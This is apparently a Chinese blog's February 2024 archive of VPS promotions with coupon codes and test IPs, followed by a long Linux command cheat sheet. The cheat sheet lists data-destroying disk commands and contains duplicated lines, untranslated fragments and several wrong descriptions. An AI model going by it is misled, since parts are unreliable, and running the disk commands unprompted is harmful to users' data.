月度归档: 2024 年 2 月

  • HostDare 特价年付便宜美国VPS 低至年付$10.40 限定新客首单 折扣优惠码

    HostDare 特价年付便宜美国VPS 低至年付$10.40 限定新客首单 折扣优惠码

    对于 HostDare 服务商我们有些朋友还是熟悉的,这是一个将近十年的小众海外主机商,主要的用户群还是我们国内的朋友有提供低价年付的VPS主机,有普通线路和CN2优化线路。之前还有新增日本机房。今天翻看邮件有看到HostDare商家发布年付特价的便宜VPS活动,当然是普通线路的,低至年付10美元左右,仅限新客首单。

    活动截止到2024年3月31日。

    方案核心内存硬盘流量年价格购买
    SSD01核768MB10GB500GB$10.40选择
    SSD11核1GB25GB1000GB$16选择
    SSD22核2GB50GB2000GB$28.40选择
    SSD33核4GB100GB3000GB$52.40选择
    SSD44核8GB200GB5000GB$100.40选择
    SSD55核16GB400GB10000GB$192.40选择
    SSD66核32GB800GB20000GB$376.40选择

    优惠码:9EU189YUPY

    这里我们需要使用对应优惠码才可以是上面列表的优惠后的价格,优惠60%。

  • 2024年最新可用Vultr优惠码/优惠券整理 新用户注册省钱福利 图文教程

    2024年最新可用Vultr优惠码/优惠券整理 新用户注册省钱福利 图文教程

    如今我们无论线上还是线下选择商品的时候是不是习惯问问是不是有优惠活动,如果有的话会加速购买欲望。同样的,如果我们有准备选择Vultr商家云服务器的时候,也会问问是不是有Vultr优惠码或者优惠券这类。确实,目前Vultr商家有一些时候会有针对新注册用户赠送一定的优惠券活动。

    老季专门整理最新可用Vultr优惠码和商家促销活动。不过需要令我们老用户失望的,至少近五年我们看到Vultr商家的活动基本上是针对新注册用户的。如果我们准备享受折扣促销的,我们就想办法注册到Vultr新用户。

    2024最新可用的Vultr优惠活动

    新用户赠送100美元

    通过这个连接然后注册VULTR新账户。可以免费获得100美元不过有效期仅有30天(目前改成14天)。

    新用户赠送100美元(推荐)

    新注册用户充值10美元赠送10美元,最高是充值100美元赠送100美元,赠送的金额有效期365天。这个是相对赠送余额有效期时间最长的,建议选择这个方案的优惠。

    支持信用卡和PAYPAL付款,如果看不到优惠的,可以用优惠码:VULTRMATCH,输入 Enter Code 激活。

    新注册赠送250美金

    新注册用户赠送250美金,有效期三十天。支持信用卡付款方式激活。可以激活用 FLYVULTR250 优惠码。

    云服务器新注册三十天内七五折

    新客新注册账户,开通云服务器七五折优惠。但是仅限在一个月内开通的云服务器七五折。

    以上是截止到2024年2月份整理的Vultr最新优惠码,我们可以选择使用。建议选择第二个方案,充值赠送的活动,尤其是赠送的金额有效期时间长。

    常见Vultr优惠码使用问题整理

    Vultr商家能在短短几年内做到家喻户晓,确实是因为有这样的优惠策略给新人体验,但是人家也不是不懂行业的险恶,人家也会限制一些非正规途径获取的用户渠道,所以我们需要遵守商家的规则。老季整理常见的Vultr优惠码的相关问题。

    优惠有效期

    目前商家的优惠券是可以使用的,我们也会定期整理如果有新的优惠我们也会及时更新。所以如果有可用的话尽量尽快的使用,不过优惠力度基本上保持最近五年差不多,也不会赠送太多的金额。尤其是赠送金额的有效期基本上也就是30-60天。

    能不能恶意注册

    人家也是聪明的,能活到今天还是有一定的技术的。如果我们恶意注册,可能小范围没事,如果你大量的注册还是能发现的。根据已有案例显示,有些用户大量注册后,导致所有账户关联且被禁止。所以我们还是适可而止。

    充值金额是否过期

    如果我们自己钱充值到账户的是没有过期的。只要我们使用用来扣费的,不会因为放的时间久不用而被扣掉。

    总之,目前Vultr商家还是比较受欢迎的商家,我们很多外贸业务或者是有需要多IP业务的可以选择,商家17个数据中心,且可以任意的删除和开通机器。

  • 搬瓦工BWHVPS限量CN2 GIA-E 40G套餐补货 2.5G带宽 可更换12机房 年付$83.8

    搬瓦工BWHVPS限量CN2 GIA-E 40G套餐补货 2.5G带宽 可更换12机房 年付$83.8

    BWHVPS主机商的限量版CN2 GIA-E 40G套餐补货!对于这样的2.5G带宽,2GB内存配置方案还算是奇缺的,而且还可以自己更换12个数据中心,包括日本软银线路、洛杉矶DC6和DC9 优化线路等。这次补货的套餐配置为2核 CPU,2GB 内存,40GB SSD 硬盘,1000GB流量,可选 DC6 CN2 GIA-E、DC9 CN2 GIA、日本软银、联通9929、普通机房等多个机房。

    SPECIAL 40G V52核2GB40GB1000GB2.5G1$89.9/年购买

    这里还可以使用叠加优惠码:BWHCCNCXVV,优惠 6.78%。

    补货历史:

    • 2024-01-23:补货并降价!
    • 2024-02-27:再次补货!

    我们可以看到优惠后仅需要83.8美元一年,续费同价。如果有需要大带宽且CN2优化线路的多就机房的VPS主机可以建议选择。

  • 简单聊一聊 国内几家主流VPS免费服务器商及免费时长

    简单聊一聊 国内几家主流VPS免费服务器商及免费时长

    对于一般的国内主流服务商而言,有提供免费体验的VPS免费服务器产品,用于对于新客体验云服务器,包括其他的云产品的测试。当然,除此之外,对于云服务器还有提供支持特定的市场周期内允许退款的政策。如果在选择国内云服务商的话,老季推荐这几个云服务厂商,并且都提供的一定的免费VPS和体验周期时长,如果要用的可以看看。

    腾讯云免费服务器

    腾讯云有提供免费新账户体验资格,但是这里需要提到的。如果我们体验到免费资格后,可能影响我们新客优惠活动。因为腾讯云新客首单的优惠力度是比较大的。腾讯云对于新客个人和企业有不同程度的优惠力度,当然企业优惠力度会更大一些。有提供免费三个月的云服务器。6个月的COS对象存储和一个月的云数据库。支持90+款免费产品可以体验。

    阿里云免费服务器

    阿里云对于新客用户有提供100+款的免费云产品,其中也有包括免费VPS云服务器产品。对于个人和企业用户有提供特定配置套餐的免费云服务器三个月。规格信息包括

    • e系列 2核 2GB或者2核 4GB(每月200元免费额度);
    • 公网流量每月80元免费额度(可用于抵扣100GB国内地域流量)。

    华为云免费服务器

    华为云这两年也开始进入大众个人和企业用户,以前都是做政企业务的。有提供10+款的云服务。比如有提供1500小时的弹性云服务器 ECS、弹性公网IP、云硬盘 EVS。如果我们有完成企业认证可以获得价值1700+ USD权益。相对来说华为云的云产品比较少,但是可以满足大众用户需求。

  • 2024 新年优惠 RackNerd:便宜 KVM VPS 套餐,1GB 内存,年付仅需$10.99

    2024 新年优惠 RackNerd:便宜 KVM VPS 套餐,1GB 内存,年付仅需$10.99

    为了迎接 2024 中国新年,RackNerd 推出了三款优惠套餐,非常便宜的 KVM VPS 主机,价格仅需 $10.99/年起,给的配置也很高,内存从 1GB 起步,足够日常使用了。

    RackNerd 新年优惠套餐

    下面是目前 RackNerd 所有优惠套餐整理。

    套餐CPU硬盘内存流量价格购买
    1GB KVM VPS1核15GB SSD1GB2000GB$10.99/年购买
    1.5GB KVM VPS1核25GB SSD1.5GB4000GB$16.88/年购买
    2.5GB KVM VPS2核38GB SSD2.5GB6000GB$23.88/年购买

    RackNerd 测试 IP 地址

    下面表格整理了目前 RackNerd 的测试 IP 地址。

    机房测试 IP测试文件LookingGlass
    洛杉矶 DC-01157.52.168.9http://lg-lax.racknerd.com/1000MB.testhttp://lg-lax.racknerd.com
    洛杉矶 DC-02204.13.154.3http://lg-lax02.racknerd.com/1000MB.testhttp://lg-lax02.racknerd.com
    洛杉矶 DC-055.181.135.8http://lg-lax05.racknerd.com/1000MB.testhttp://lg-lax05.racknerd.com
    圣何塞192.210.207.88http://lg-sj.racknerd.com/1000MB.testhttp://lg-sj.racknerd.com
    西雅图192.3.253.2http://lg-sea.racknerd.com/1000MB.testhttp://lg-sea.racknerd.com
    芝加哥198.23.228.15http://lg-chi.racknerd.com/1000MB.testhttp://lg-chi.racknerd.com
    新泽西192.3.165.30http://lg-nj.racknerd.com/1000MB.testhttp://lg-nj.racknerd.com
    亚特兰大107.173.164.160http://lg-atl.racknerd.com/1000MB.testhttp://lg-atl.racknerd.com
    达拉斯198.23.249.100http://lg-dal.racknerd.com/1000MB.testhttp://lg-dal.racknerd.com
    纽约水牛城192.3.81.8http://lg-ny.racknerd.com/1000MB.testhttp://lg-ny.racknerd.com
    阿什本107.173.166.10http://lg-ash.racknerd.com/1000MB.testhttp://lg-ash.racknerd.com
  • tgz命令 – 将文件压缩为.tgz格式文件

    tgz命令来自于英文词组“tape archive gunzip”的缩写,其功能适用于将文件压缩为.tgz格式文件。Linux系统管理员们一般会使用tar命令进行压缩或解压工作,但其实.tar.gz和.tgz是完全相同的格式,只是名称不同,因此用那个都是一样的,今后又多了一个选择~

    语法格式:tgz 目标文件 原始文件

    参考实例

    将指定文件进行压缩操作:

    [root@jiloc ~]# tgz ana.tgz anaconda-ks.cfg  
    Writing gzip'd tar archive to "ana.tgz". anaconda-ks.cfg Total bytes written: 10240 (10KiB, 8.8MiB/s) 91.2%
    -rw-r--r--. 1 root root 924 Oct 30 15:18 ana.tgz
  • 解决日常99%问题的600条 Linux 命令

    解决日常99%问题的600条 Linux 命令

    基本命令

    uname -m 显示机器的处理器架构
    uname -r 显示正在使用的内核版本
    dmidecode -q 显示硬件系统部件
    (SMBIOS / DMI) hdparm -i /dev/hda 罗列一个磁盘的架构特性
    hdparm -tT /dev/sda 在磁盘上执行测试性读取操作系统信息
    arch 显示机器的处理器架构
    uname -m 显示机器的处理器架构
    uname -r 显示正在使用的内核版本
    dmidecode -q 显示硬件系统部件 - (SMBIOS / DMI)
    hdparm -i /dev/hda 罗列一个磁盘的架构特性
    hdparm -tT /dev/sda 在磁盘上执行测试性读取操作
    cat /proc/cpuinfo 显示CPU info的信息
    cat /proc/interrupts 显示中断
    cat /proc/meminfo 校验内存使用
    cat /proc/swaps 显示哪些swap被使用
    cat /proc/version 显示内核的版本
    cat /proc/net/dev 显示网络适配器及统计
    cat /proc/mounts 显示已加载的文件系统
    lspci -tv 罗列 PCI 设备
    lsusb -tv 显示 USB 设备
    date 显示系统日期
    cal 2007 显示2007年的日历表
    date 041217002007.00 设置日期和时间 - 月日时分年.秒
    clock -w 将时间修改保存到 BIOS

    关机

    shutdown -h now 关闭系统(1)
    init 0 关闭系统(2)
    telinit 0 关闭系统(3)
    shutdown -h hours:minutes & 按预定时间关闭系统
    shutdown -c 取消按预定时间关闭系统
    shutdown -r now 重启(1)
    reboot 重启(2)
    logout 注销

    文件和目录

    cd /home 进入 '/ home' 目录'
    cd .. 返回上一级目录
    cd ../.. 返回上两级目录
    cd 进入个人的主目录
    cd ~user1 进入个人的主目录
    cd - 返回上次所在的目录
    pwd 显示工作路径
    ls 查看目录中的文件
    ls -F 查看目录中的文件
    ls -l 显示文件和目录的详细资料
    ls -a 显示隐藏文件
    ls *[0-9]* 显示包含数字的文件名和目录名
    tree 显示文件和目录由根目录开始的树形结构(1)
    lstree 显示文件和目录由根目录开始的树形结构(2)
    mkdir dir1 创建一个叫做 'dir1' 的目录'
    mkdir dir1 dir2 同时创建两个目录
    mkdir -p /tmp/dir1/dir2 创建一个目录树
    rm -f file1 删除一个叫做 'file1' 的文件'
    rmdir dir1 删除一个叫做 'dir1' 的目录'
    rm -rf dir1 删除一个叫做 'dir1' 的目录并同时删除其内容
    rm -rf dir1 dir2 同时删除两个目录及它们的内容
    mv dir1 new_dir 重命名/移动 一个目录
    cp file1 file2 复制一个文件
    cp dir/* . 复制一个目录下的所有文件到当前工作目录
    cp -a /tmp/dir1 . 复制一个目录到当前工作目录
    cp -a dir1 dir2 复制一个目录
    ln -s file1 lnk1 创建一个指向文件或目录的软链接
    ln file1 lnk1 创建一个指向文件或目录的物理链接
    touch -t 0712250000 file1 修改一个文件或目录的时间戳 - (YYMMDDhhmm)
    file file1 outputs the mime type of the file as text
    iconv -l 列出已知的编码
    iconv -f fromEncoding -t toEncoding inputFile > outputFile creates a new from the given input file by assuming it is encoded in fromEncoding and converting it to toEncoding.
    find . -maxdepth 1 -name *.jpg -print -exec convert "{}" -resize 80x60 "thumbs/{}" \; batch resize files in the current directory and send them to a thumbnails directory (requires convert from Imagemagick)

    文件搜索

    find / -name file1 从 '/' 开始进入根文件系统搜索文件和目录
    find / -user user1 搜索属于用户 'user1' 的文件和目录
    find /home/user1 -name \*.bin 在目录 '/ home/user1' 中搜索带有'.bin' 结尾的文件
    find /usr/bin -type f -atime +100 搜索在过去100天内未被使用过的执行文件
    find /usr/bin -type f -mtime -10 搜索在10天内被创建或者修改过的文件
    find / -name \*.rpm -exec chmod 755 '{}' \; 搜索以 '.rpm' 结尾的文件并定义其权限
    find / -xdev -name \*.rpm 搜索以 '.rpm' 结尾的文件,忽略光驱、捷盘等可移动设备
    locate \*.ps 寻找以 '.ps' 结尾的文件 - 先运行 'updatedb' 命令
    whereis halt 显示一个二进制文件、源码或man的位置
    which halt 显示一个二进制文件或可执行文件的完整路径

    挂载一个文件系统

    mount /dev/hda2 /mnt/hda2 挂载一个叫做hda2的盘 - 确定目录 '/ mnt/hda2' 已经存在
    umount /dev/hda2 卸载一个叫做hda2的盘 - 先从挂载点 '/ mnt/hda2' 退出
    fuser -km /mnt/hda2 当设备繁忙时强制卸载
    umount -n /mnt/hda2 运行卸载操作而不写入 /etc/mtab 文件- 当文件为只读或当磁盘写满时非常有用
    mount /dev/fd0 /mnt/floppy 挂载一个软盘
    mount /dev/cdrom /mnt/cdrom 挂载一个cdrom或dvdrom
    mount /dev/hdc /mnt/cdrecorder 挂载一个cdrw或dvdrom
    mount /dev/hdb /mnt/cdrecorder 挂载一个cdrw或dvdrom
    mount -o loop file.iso /mnt/cdrom 挂载一个文件或ISO镜像文件
    mount -t vfat /dev/hda5 /mnt/hda5 挂载一个Windows FAT32文件系统
    mount /dev/sda1 /mnt/usbdisk 挂载一个usb 捷盘或闪存设备
    mount -t smbfs -o username=user,password=pass //WinClient/share /mnt/share 挂载一个windows网络共享

    磁盘空间

    df -h 显示已经挂载的分区列表
    ls -lSr |more 以尺寸大小排列文件和目录
    du -sh dir1 估算目录 'dir1' 已经使用的磁盘空间'
    du -sk * | sort -rn 以容量大小为依据依次显示文件和目录的大小
    rpm -q -a --qf '%10{SIZE}t%{NAME}n' | sort -k1,1n 以大小为依据依次显示已安装的rpm包所使用的空间 (fedora, redhat类系统)
    dpkg-query -W -f='${Installed-Size;10}t${Package}n' | sort -k1,1n 以大小为依据显示已安装的deb包所使用的空间 (ubuntu, debian类系统)

    用户和群组

    groupadd group_name 创建一个新用户组
    groupdel group_name 删除一个用户组
    groupmod -n new_group_name old_group_name 重命名一个用户组
    useradd -c "Name Surname " -g admin -d /home/user1 -s /bin/bash user1 创建一个属于 "admin" 用户组的用户
    useradd user1 创建一个新用户
    userdel -r user1 删除一个用户 ( '-r' 排除主目录)
    usermod -c "User FTP" -g system -d /ftp/user1 -s /bin/nologin user1 修改用户属性
    passwd 修改口令
    passwd user1 修改一个用户的口令 (只允许root执行)
    chage -E 2005-12-31 user1 设置用户口令的失效期限
    pwck 检查 '/etc/passwd' 的文件格式和语法修正以及存在的用户
    grpck 检查 '/etc/passwd' 的文件格式和语法修正以及存在的群组
    newgrp group_name 登陆进一个新的群组以改变新创建文件的预设群组

    文件的权限

    ls -lh 显示权限
    ls /tmp | pr -T5 -W$COLUMNS 将终端划分成5栏显示
    chmod ugo+rwx directory1 设置目录的所有人(u)、群组(g)以及其他人(o)以读(r )、写(w)和执行(x)的权限
    chmod go-rwx directory1 删除群组(g)与其他人(o)对目录的读写执行权限
    chown user1 file1 改变一个文件的所有人属性
    chown -R user1 directory1 改变一个目录的所有人属性并同时改变改目录下所有文件的属性
    chgrp group1 file1 改变文件的群组
    chown user1:group1 file1 改变一个文件的所有人和群组属性
    find / -perm -u+s 罗列一个系统中所有使用了SUID控制的文件
    chmod u+s /bin/file1 设置一个二进制文件的 SUID 位 - 运行该文件的用户也被赋予和所有者同样的权限
    chmod u-s /bin/file1 禁用一个二进制文件的 SUID位
    chmod g+s /home/public 设置一个目录的SGID 位 - 类似SUID ,不过这是针对目录的
    chmod g-s /home/public 禁用一个目录的 SGID 位
    chmod o+t /home/public 设置一个文件的 STIKY 位 - 只允许合法所有人删除文件
    chmod o-t /home/public 禁用一个目录的 STIKY 位
    chmod +x 文件路径 为所有者、所属组和其他用户添加执行的权限
    chmod -x 文件路径 为所有者、所属组和其他用户删除执行的权限
    chmod u+x 文件路径 为所有者添加执行的权限
    chmod g+x 文件路径 为所属组添加执行的权限
    chmod o+x 文件路径 为其他用户添加执行的权限
    chmod ug+x 文件路径 为所有者、所属组添加执行的权限
    chmod =wx 文件路径 为所有者、所属组和其他用户添加写、执行的权限,取消读权限
    chmod ug=wx 文件路径 为所有者、所属组添加写、执行的权限,取消读权限

    文件的特殊属性

    使用 “+” 设置权限,使用 “-” 用于取消

    chattr +a file1 只允许以追加方式读写文件
    chattr +c file1 允许这个文件能被内核自动压缩/解压
    chattr +d file1 在进行文件系统备份时,dump程序将忽略这个文件
    chattr +i file1 设置成不可变的文件,不能被删除、修改、重命名或者链接
    chattr +s file1 允许一个文件被安全地删除
    chattr +S file1 一旦应用程序对这个文件执行了写操作,使系统立刻把修改的结果写到磁盘
    chattr +u file1 若文件被删除,系统会允许你在以后恢复这个被删除的文件
    lsattr 显示特殊的属性

    打包和压缩文件

    bunzip2 file1.bz2 解压一个叫做 'file1.bz2'的文件
    bzip2 file1 压缩一个叫做 'file1' 的文件
    gunzip file1.gz 解压一个叫做 'file1.gz'的文件
    gzip file1 压缩一个叫做 'file1'的文件
    gzip -9 file1 最大程度压缩
    rar a file1.rar test_file 创建一个叫做 'file1.rar' 的包
    rar a file1.rar file1 file2 dir1 同时压缩 'file1', 'file2' 以及目录 'dir1'
    rar x file1.rar 解压rar包
    unrar x file1.rar 解压rar包
    tar -cvf archive.tar file1 创建一个非压缩的 tarball
    tar -cvf archive.tar file1 file2 dir1 创建一个包含了 'file1', 'file2' 以及 'dir1'的档案文件
    tar -tf archive.tar 显示一个包中的内容
    tar -xvf archive.tar 释放一个包
    tar -xvf archive.tar -C /tmp 将压缩包释放到 /tmp目录下
    tar -cvfj archive.tar.bz2 dir1 创建一个bzip2格式的压缩包
    tar -xvfj archive.tar.bz2 解压一个bzip2格式的压缩包
    tar -cvfz archive.tar.gz dir1 创建一个gzip格式的压缩包
    tar -xvfz archive.tar.gz 解压一个gzip格式的压缩包
    zip file1.zip file1 创建一个zip格式的压缩包
    zip -r file1.zip file1 file2 dir1 将几个文件和目录同时压缩成一个zip格式的压缩包
    unzip file1.zip 解压一个zip格式压缩包

    RPM 包

    (Fedora, Redhat及类似系统)

    rpm -ivh package.rpm 安装一个rpm包
    rpm -ivh --nodeeps package.rpm 安装一个rpm包而忽略依赖关系警告
    rpm -U package.rpm 更新一个rpm包但不改变其配置文件
    rpm -F package.rpm 更新一个确定已经安装的rpm包
    rpm -e package_name.rpm 删除一个rpm包
    rpm -qa 显示系统中所有已经安装的rpm包
    rpm -qa | grep httpd 显示所有名称中包含 "httpd" 字样的rpm包
    rpm -qi package_name 获取一个已安装包的特殊信息
    rpm -qg "System Environment/Daemons" 显示一个组件的rpm包
    rpm -ql package_name 显示一个已经安装的rpm包提供的文件列表
    rpm -qc package_name 显示一个已经安装的rpm包提供的配置文件列表
    rpm -q package_name --whatrequires 显示与一个rpm包存在依赖关系的列表
    rpm -q package_name --whatprovides 显示一个rpm包所占的体积
    rpm -q package_name --scripts 显示在安装/删除期间所执行的脚本l
    rpm -q package_name --changelog 显示一个rpm包的修改历史
    rpm -qf /etc/httpd/conf/httpd.conf 确认所给的文件由哪个rpm包所提供
    rpm -qp package.rpm -l 显示由一个尚未安装的rpm包提供的文件列表
    rpm --import /media/cdrom/RPM-GPG-KEY 导入公钥数字证书
    rpm --checksig package.rpm 确认一个rpm包的完整性
    rpm -qa gpg-pubkey 确认已安装的所有rpm包的完整性
    rpm -V package_name 检查文件尺寸、 许可、类型、所有者、群组、MD5检查以及最后修改时间
    rpm -Va 检查系统中所有已安装的rpm包- 小心使用
    rpm -Vp package.rpm 确认一个rpm包还未安装
    rpm2cpio package.rpm | cpio --extract --make-directories *bin* 从一个rpm包运行可执行文件
    rpm -ivh /usr/src/redhat/RPMS/`arch`/package.rpm 从一个rpm源码安装一个构建好的包
    rpmbuild --rebuild package_name.src.rpm 从一个rpm源码构建一个 rpm 包

    YUM 软件包升级器

    (Fedora, RedHat及类似系统)

    yum install package_name 下载并安装一个rpm包
    yum localinstall package_name.rpm 将安装一个rpm包,使用你自己的软件仓库为你解决所有依赖关系
    yum update package_name.rpm 更新当前系统中所有安装的rpm包
    yum update package_name 更新一个rpm包
    yum remove package_name 删除一个rpm包
    yum list 列出当前系统中安装的所有包
    yum search package_name 在rpm仓库中搜寻软件包
    yum clean packages 清理rpm缓存删除下载的包
    yum clean headers 删除所有头文件
    yum clean all 删除所有缓存的包和头文件

    DEB 包

    (Debian, Ubuntu 以及类似系统)

    dpkg -i package.deb 安装/更新一个 deb 包
    dpkg -r package_name 从系统删除一个 deb 包
    dpkg -l 显示系统中所有已经安装的 deb 包
    dpkg -l | grep httpd 显示所有名称中包含 "httpd" 字样的deb包
    dpkg -s package_name 获得已经安装在系统中一个特殊包的信息
    dpkg -L package_name 显示系统中已经安装的一个deb包所提供的文件列表
    dpkg --contents package.deb 显示尚未安装的一个包所提供的文件列表
    dpkg -S /bin/ping 确认所给的文件由哪个deb包提供
    APT 软件工具 (Debian, Ubuntu 以及类似系统)
    apt-get install package_name 安装/更新一个 deb 包
    apt-cdrom install package_name 从光盘安装/更新一个 deb 包
    apt-get update 升级列表中的软件包
    apt-get upgrade 升级所有已安装的软件
    apt-get remove package_name 从系统删除一个deb包
    apt-get check 确认依赖的软件仓库正确
    apt-get clean 从下载的软件包中清理缓存
    apt-cache search searched-package 返回包含所要搜索字符串的软件包名称

    查看文件内容

    cat file1 从第一个字节开始正向查看文件的内容
    tac file1 从最后一行开始反向查看一个文件的内容
    more file1 查看一个长文件的内容
    less file1 类似于 'more' 命令,但是它允许在文件中和正向操作一样的反向操作
    head -2 file1 查看一个文件的前两行
    tail -2 file1 查看一个文件的最后两行
    tail -f /var/log/messages 实时查看被添加到一个文件中的内容

    文本处理

    cat file1 file2 ... | command <> file1_in.txt_or_file1_out.txt general syntax for text manipulation using PIPE, STDIN and STDOUT
    cat file1 | command( sed, grep, awk, grep, etc...) > result.txt 合并一个文件的详细说明文本,并将简介写入一个新文件中
    cat file1 | command( sed, grep, awk, grep, etc...) >> result.txt 合并一个文件的详细说明文本,并将简介写入一个已有的文件中
    grep Aug /var/log/messages 在文件 '/var/log/messages'中查找关键词"Aug"
    grep ^Aug /var/log/messages 在文件 '/var/log/messages'中查找以"Aug"开始的词汇
    grep [0-9] /var/log/messages 选择 '/var/log/messages' 文件中所有包含数字的行
    grep Aug -R /var/log/* 在目录 '/var/log' 及随后的目录中搜索字符串"Aug"
    sed 's/stringa1/stringa2/g' example.txt 将example.txt文件中的 "string1" 替换成 "string2"
    sed '/^$/d' example.txt 从example.txt文件中删除所有空白行
    sed '/ *#/d; /^$/d' example.txt 从example.txt文件中删除所有注释和空白行
    echo 'esempio' | tr '[:lower:]' '[:upper:]' 合并上下单元格内容
    sed -e '1d' result.txt 从文件example.txt 中排除第一行
    sed -n '/stringa1/p' 查看只包含词汇 "string1"的行
    sed -e 's/ *$//' example.txt 删除每一行最后的空白字符
    sed -e 's/stringa1//g' example.txt 从文档中只删除词汇 "string1" 并保留剩余全部
    sed -n '1,5p;5q' example.txt 查看从第一行到第5行内容
    sed -n '5p;5q' example.txt 查看第5行
    sed -e 's/00*/0/g' example.txt 用单个零替换多个零
    cat -n file1 标示文件的行数
    cat example.txt | awk 'NR%2==1' 删除example.txt文件中的所有偶数行
    echo a b c | awk '{print $1}' 查看一行第一栏
    echo a b c | awk '{print $1,$3}' 查看一行的第一和第三栏
    paste file1 file2 合并两个文件或两栏的内容
    paste -d '+' file1 file2 合并两个文件或两栏的内容,中间用"+"区分
    sort file1 file2 排序两个文件的内容
    sort file1 file2 | uniq 取出两个文件的并集(重复的行只保留一份)
    sort file1 file2 | uniq -u 删除交集,留下其他的行
    sort file1 file2 | uniq -d 取出两个文件的交集(只留下同时存在于两个文件中的文件)
    comm -1 file1 file2 比较两个文件的内容只删除 'file1' 所包含的内容
    comm -2 file1 file2 比较两个文件的内容只删除 'file2' 所包含的内容
    comm -3 file1 file2 比较两个文件的内容只删除两个文件共有的部分

    字符设置和文件格式转换

    dos2unix filedos.txt fileunix.txt 将一个文本文件的格式从MSDOS转换成UNIX
    unix2dos fileunix.txt filedos.txt 将一个文本文件的格式从UNIX转换成MSDOS
    recode ..HTML < page.txt > page.html 将一个文本文件转换成html
    recode -l | more 显示所有允许的转换格式

    文件系统分析

    badblocks -v /dev/hda1 检查磁盘hda1上的坏磁块
    fsck /dev/hda1 修复/检查hda1磁盘上linux文件系统的完整性
    fsck.ext2 /dev/hda1 修复/检查hda1磁盘上ext2文件系统的完整性
    e2fsck /dev/hda1 修复/检查hda1磁盘上ext2文件系统的完整性
    e2fsck -j /dev/hda1 修复/检查hda1磁盘上ext3文件系统的完整性
    fsck.ext3 /dev/hda1 修复/检查hda1磁盘上ext3文件系统的完整性
    fsck.vfat /dev/hda1 修复/检查hda1磁盘上fat文件系统的完整性
    fsck.msdos /dev/hda1 修复/检查hda1磁盘上dos文件系统的完整性
    dosfsck /dev/hda1 修复/检查hda1磁盘上dos文件系统的完整性

    初始化一个文件系统

    mkfs /dev/hda1 在hda1分区创建一个文件系统
    mke2fs /dev/hda1 在hda1分区创建一个linux ext2的文件系统
    mke2fs -j /dev/hda1 在hda1分区创建一个linux ext3(日志型)的文件系统
    mkfs -t vfat 32 -F /dev/hda1 创建一个 FAT32 文件系统
    fdformat -n /dev/fd0 格式化一个软盘
    mkswap /dev/hda3 创建一个swap文件系统

    SWAP文件系统

    mkswap /dev/hda3 创建一个swap文件系统
    swapon /dev/hda3 启用一个新的swap文件系统
    swapon /dev/hda2 /dev/hdb3 启用两个swap分区

    备份

    dump -0aj -f /tmp/home0.bak /home 制作一个 '/home' 目录的完整备份
    dump -1aj -f /tmp/home0.bak /home 制作一个 '/home' 目录的交互式备份
    restore -if /tmp/home0.bak 还原一个交互式备份
    rsync -rogpav --delete /home /tmp 同步两边的目录
    rsync -rogpav -e ssh --delete /home ip_address:/tmp 通过SSH通道rsync
    rsync -az -e ssh --delete ip_addr:/home/public /home/local 通过ssh和压缩将一个远程目录同步到本地目录
    rsync -az -e ssh --delete /home/local ip_addr:/home/public 通过ssh和压缩将本地目录同步到远程目录
    dd bs=1M if=/dev/hda | gzip | ssh user@ip_addr 'dd of=hda.gz' 通过ssh在远程主机上执行一次备份本地磁盘的操作
    dd if=/dev/sda of=/tmp/file1 备份磁盘内容到一个文件
    tar -Puf backup.tar /home/user 执行一次对 '/home/user' 目录的交互式备份操作
    ( cd /tmp/local/ && tar c . ) | ssh -C user@ip_addr 'cd /home/share/ && tar x -p' 通过ssh在远程目录中复制一个目录内容
    ( tar c /home ) | ssh -C user@ip_addr 'cd /home/backup-home && tar x -p' 通过ssh在远程目录中复制一个本地目录
    tar cf - . | (cd /tmp/backup ; tar xf - ) 本地将一个目录复制到另一个地方,保留原有权限及链接
    find /home/user1 -name '*.txt' | xargs cp -av --target-directory=/home/backup/ --parents 从一个目录查找并复制所有以 '.txt' 结尾的文件到另一个目录
    find /var/log -name '*.log' | tar cv --files-from=- | bzip2 > log.tar.bz2 查找所有以 '.log' 结尾的文件并做成一个bzip包
    dd if=/dev/hda of=/dev/fd0 bs=512 count=1 做一个将 MBR (Master Boot Record)内容复制到软盘的动作
    dd if=/dev/fd0 of=/dev/hda bs=512 count=1 从已经保存到软盘的备份中恢复MBR内容

    光盘

    cdrecord -v gracetime=2 dev=/dev/cdrom -eject blank=fast -force 清空一个可复写的光盘内容
    mkisofs /dev/cdrom > cd.iso 在磁盘上创建一个光盘的iso镜像文件
    mkisofs /dev/cdrom | gzip > cd_iso.gz 在磁盘上创建一个压缩了的光盘iso镜像文件
    mkisofs -J -allow-leading-dots -R -V "Label CD" -iso-level 4 -o ./cd.iso data_cd 创建一个目录的iso镜像文件
    cdrecord -v dev=/dev/cdrom cd.iso 刻录一个ISO镜像文件
    gzip -dc cd_iso.gz | cdrecord dev=/dev/cdrom - 刻录一个压缩了的ISO镜像文件
    mount -o loop cd.iso /mnt/iso 挂载一个ISO镜像文件
    cd-paranoia -B 从一个CD光盘转录音轨到 wav 文件中
    cd-paranoia -- "-3" 从一个CD光盘转录音轨到 wav 文件中(参数-3)
    cdrecord --scanbus 扫描总线以识别scsi通道
    dd if=/dev/hdc | md5sum 校验一个设备的md5sum编码,例如一张 CD

    网络

    (以太网和WIFI无线)

    ifconfig eth0 显示一个以太网卡的配置
    ifup eth0 启用一个 'eth0' 网络设备
    ifdown eth0 禁用一个 'eth0' 网络设备
    ifconfig eth0 192.168.1.1 netmask 255.255.255.0 控制IP地址
    ifconfig eth0 promisc 设置 'eth0' 成混杂模式以嗅探数据包 (sniffing)
    dhclient eth0 以dhcp模式启用 'eth0'
    route -n show routing table
    route add -net 0/0 gw IP_Gateway configura default gateway
    route add -net 192.168.0.0 netmask 255.255.0.0 gw 192.168.1.1 configure static route to reach network '192.168.0.0/16'
    route del 0/0 gw IP_gateway remove static route
    echo "1" > /proc/sys/net/ipv4/ip_forward activate ip routing
    hostname show hostname of system
    host www.example.com lookup hostname to resolve name to ip address and viceversa(1)
    nslookup www.example.com lookup hostname to resolve name to ip address and viceversa(2)
    ip link show show link status of all interfaces
    mii-tool eth0 show link status of 'eth0'
    ethtool eth0 show statistics of network card 'eth0'
    netstat -tup show all active network connections and their PID
    netstat -tupl show all network services listening on the system and their PID
    tcpdump tcp port 80 show all HTTP traffic
    iwlist scan show wireless networks
    iwconfig eth1 show configuration of a wireless network card
    hostname show hostname
    host www.example.com lookup hostname to resolve name to ip address and viceversa
    nslookup www.example.com lookup hostname to resolve name to ip address and viceversa
    whois www.example.com lookup on Whois database

    列出目录内容

    ls -a:显示所有文件(包括隐藏文件);
    ls -l:显示详细信息;
    ls -R:递归显示子目录结构;
